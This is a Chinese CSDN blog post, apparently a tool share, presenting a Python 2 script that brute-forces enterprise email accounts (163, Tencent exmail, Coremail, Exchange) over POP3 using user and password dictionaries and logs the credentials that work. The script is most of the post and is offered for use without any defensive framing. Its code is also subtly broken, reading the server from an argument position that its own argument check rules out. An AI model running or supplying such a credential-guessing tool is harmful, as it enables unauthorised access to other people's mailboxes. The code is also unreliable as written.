python邮箱爆破_企业邮箱爆破脚本

本文介绍了一个Python脚本,用于针对163、Tencent、Coremail、236和Exchange等邮箱类型进行爆破。脚本接收参数,包括邮箱类型、用户字典和密码字典,通过POP3或POP3_SSL连接服务器,尝试不同组合登录并检查响应,成功则记录相关信息。注意,对于某些邮箱类型,需要指定域名。
摘要由CSDN通过智能技术生成

#!usr/bin/python

#!coding:utf-8

import threading,time,random,sys,poplib

from copy import copy

if len(sys.argv) !=4:

print "\t Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n"

print "\t Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n"

print "\t Note: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n"

print "\t Usage: 163|tencent使用方法:./mail.py type \n"

print "\t Usage: 236|exchange|coremail使用方法:./mail.py type mail.domain.com\n"

sys.exit(1)

mailType=['163','tencent','coremail','236','exchange']

if sys.argv[1] in ['236','exchange','coremail']:

try:

server = sys.argv[5]

except:

print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n'

sys.exit(1)

elif sys.argv[1] == '163':

server = "pop.qiye.163.com"

elif sys.argv[1] == 'tencent':

server = "pop.exmail.qq.com"

else :

print "[-] Error: 邮箱类型错误\n"

sys.exit(1)

success = []

try:

users_list = open(sys.argv[2], "r")

users = users_list.readlines()

words_list = open(sys.argv[3], "r")

words = words_list.readlines()

except(IOError):

print "[-] Error: 请检查用户名或密码路径及文件\n"

sys.exit(1)

finally:

users_list.close()

words_list.close()

try:

if sys.argv[1] in ['163','236']:

pop = poplib.POP3(server,110)

else:

pop = poplib.POP3_SSL(server,995)

welcome = pop.getwelcome()

print welcome

pop.quit()

except (poplib.error_proto):

welcome = "[-] Error: No Response,Something wrong!!!\n"

sys.exit(1)

print "[+] Server:",server

print "[+] Users Loaded:",len(users)

print "[+] Words Loaded:",len(words)

print "[+] Server response:",welcome,"\n"

def mailbruteforce(listuser,listpwd,type):

if len(listuser) < 1 or len(listpwd) < 1 :

print "[-] Error: An error occurred: No user or pass list\n"

return 1

for user in listuser:

for passwd in listpwd :

user = user.replace("\n","")

passwd = passwd.replace("\n","")

try:

print "-"*12

print "[+] User:",user,"Password:",passwd

# time.sleep(0.1)

if type in ['163','236']:

popserver = poplib.POP3(server,110)

else:

popserver = poplib.POP3_SSL(server,995)

popserver.user(user)

auth = popserver.pass_(passwd)

print auth

if auth.split(' ')[0] == "+OK" or auth =="+OK":

ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])

success.append(ret)

#print len(success)

popserver.quit()

break

else :

popserver.quit()

continue

except:

#print "An error occurred:", msg

pass

if __name__ == '__main__':

mailbruteforce(users,words,sys.argv[1])

print "\t[+] have weakpass :\t",len(success)

if len(success) >=1:

for ret in success:

print "\n\n[+] Login successful:",ret[0], ret[1]

print "\t[+] Mail:",ret[2],"emails"

print "\t[+] Size:",ret[3],"bytes\n"

print "\n[-] Done"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值